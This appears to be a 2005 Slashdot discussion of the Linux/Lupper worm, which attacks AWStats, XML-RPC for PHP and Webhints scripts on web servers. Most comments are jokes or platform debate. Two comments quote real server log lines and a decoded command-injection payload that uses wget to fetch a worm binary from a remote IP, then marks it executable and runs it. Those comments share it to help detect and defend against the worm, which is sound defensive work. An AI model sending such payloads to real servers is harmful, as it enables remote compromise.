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Linux Lupper.Worm In the WIld

Posted by CmdrTaco on from the inching-its-way-around-the-net dept.

jurt1235 writes "McAfee reports that a Linux worm has been found in the wild. The Linux/Lupper.worm is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform. From the McAfee description: The worm blindly attacks web servers by sending malicious http requests on port 80. If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed."

15 of 363 comments (clear)

  1. CONTINUE: by xtracto · · Score: 5, Funny

    Next, is a collection of messages telling that it is the fault of the system andministrators and not a problem of the Linux Distributions.

    p.s. BURN KARMA BURN!

    --
    Ubuntu is an African word meaning 'I can't configure Debian'
  2. Remarkably Useless page. by Short+Circuit · · Score: 5, Interesting
    First, what vulnerability does it exploit? I wasn't able to find any decent info on Linux/Slapper, and that's all it references.

    Second, how do you remove it? Quoth the page:
    Removal Instructions
    AVERT recommends to always use latest DATs and engine . This threat will be cleaned if you have this combination.

    Additional Windows ME/XP removal considerations

    --
    tasks(723) drafts(105) languages(484) examples(29106)
    1. Re:Remarkably Useless page. by gowen · · Score: 5, Informative
      According to ZDNet/Symantec
      "The worm exploits three vulnerabilities to propagate: the XML-RPC for PHP Remote Code Injection vulnerability; AWStats Rawlog Plugin Logfile Parameter Input Validation vulnerability; and Darryl Burgdorf's Webhints Remote Command Execution Vulnerability, according to Symantec's online description of the worm.

      The XML-RPC flaw affects blogging, wiki and content management software and was discovered earlier this year. Patches are available for most systems. AWStats is a log analyzer tool; a fix for the flaw has been available since February. Darryl Burgdorf's Webhints is a hint generation script; no fixes are available for the script, according to Symantec's DeepSight Alert Services."
      --
      Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
  3. PHP exploit, not directly a linux problem? by Anonymous Coward · · Score: 5, Insightful

    Seems kind of wrong to name it exclusively a linux problem.

    1. Re:PHP exploit, not directly a linux problem? by mysqlrocks · · Score: 5, Informative

      Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

      --
      Bradley Holt
  4. Sadly a preview of things to come because... by Assmasher · · Score: 5, Insightful

    ...Linux is more and more popular with corporations holding valuable and important data.

    Success is a double-edged sword. ;)

    --
    Loading...
  5. Complete infection by soren.harward · · Score: 5, Funny

    All sysadmins who are still running this insecure setup are advised to patch your systems immediately. Yes, all fourteen of you.

  6. Before all teh MSFT fanboys jump on this, by Anonymous Coward · · Score: 5, Funny

    Paraphrased from the virus description;

    IF you run a specific kernel version with some special module
    AND you run one of a couple specific versions of one package not installed by default
    AND you have a very "generic" config on that package
    AND you have some plugins enabled, but not configured for security
    AND you are on a world routable IP address
    AND you have some specific vulnerable scripts,

    THEN you might need to take a look at if you are at risk.

    Paraphrased from the virus description of most MSFT worms:

    IF you run an MSFT operating system
    AND you havent reformated your HDD in the lsat hour

    THEN its time to pucker up and kiss the sucker goodbye..

    -GenTimJS

  7. Too many ifs by SolitaryMan · · Score: 5, Interesting

    If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment ...

    which in practice means that your admin have died a couple of years ago but was never replaced.

    --
    May Peace Prevail On Earth
  8. Does it look like this? by Mabonus · · Score: 5, Informative

    I just noticed this today, and from what I've heard here it sounds a likely candidate. IP addresses obscured for politeness.

    193.166.84 - - [04/Nov/2005:15:10:10 -0700] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:12 -0700] "GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd %20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3b chmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e19 3%2e244;echo%20YYY;echo| HTTP/1.1" 404 225 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:14 -0700] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 401 3787 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    193.166.84 - - [04/Nov/2005:15:10:31 -0700] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:33 -0700] "POST /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    193.166.84 - - [04/Nov/2005:15:10:34 -0700] "POST /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
    .
    .
    .
    For 60 hits.

  9. I'm not worried... by PoprocksCk · · Score: 5, Funny

    I doubt I'll have the libraries required to run this worm.

  10. Re:How can we get some free press? by sqlrob · · Score: 5, Insightful

    IE Worm = Windows worm.

    Remember, IE is integrated into the OS according to MS, therefore it is a Windows worm.

  11. Re:Conditions for infection... by maxwell+demon · · Score: 5, Funny

    Hey, I've found a way to write a true Linux worm! It can infect all Linux computers which have a user named "wormhole" with password "unsafe", and have a suid-root copy of bash installed at /bin/rootbash which is executable by user "wormhole". Ah, and of course the user "wormhole" must be able to remote login through either rlogin or ssh with password authentication enabled. To spread, the worm also needs the file /etc/wormspreadrc, which must contain a list of other vulnerable computers, one hostname or IP number per line.

    SCNR

    --
    The Tao of math: The numbers you can count are not the real numbers.
  12. Re:Conditions for infection... by smoking2000 · · Score: 5, Informative
    The command it runs is:
    |echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|
    It is passed to awstats.pl in a request like:
    GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bc hmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e 212%2e115;echo%20YYY;echo| HTTP/1.1
    There are also POST request to xmlrpc.php pages, like:
    POST /drupal/xmlrpc.php HTTP/1.1
    So if you have /tmp mounted noexec this should not be a problem.
  13. It's not Windows by max+born · · Score: 5, Informative

    From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.

    Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in /tmp.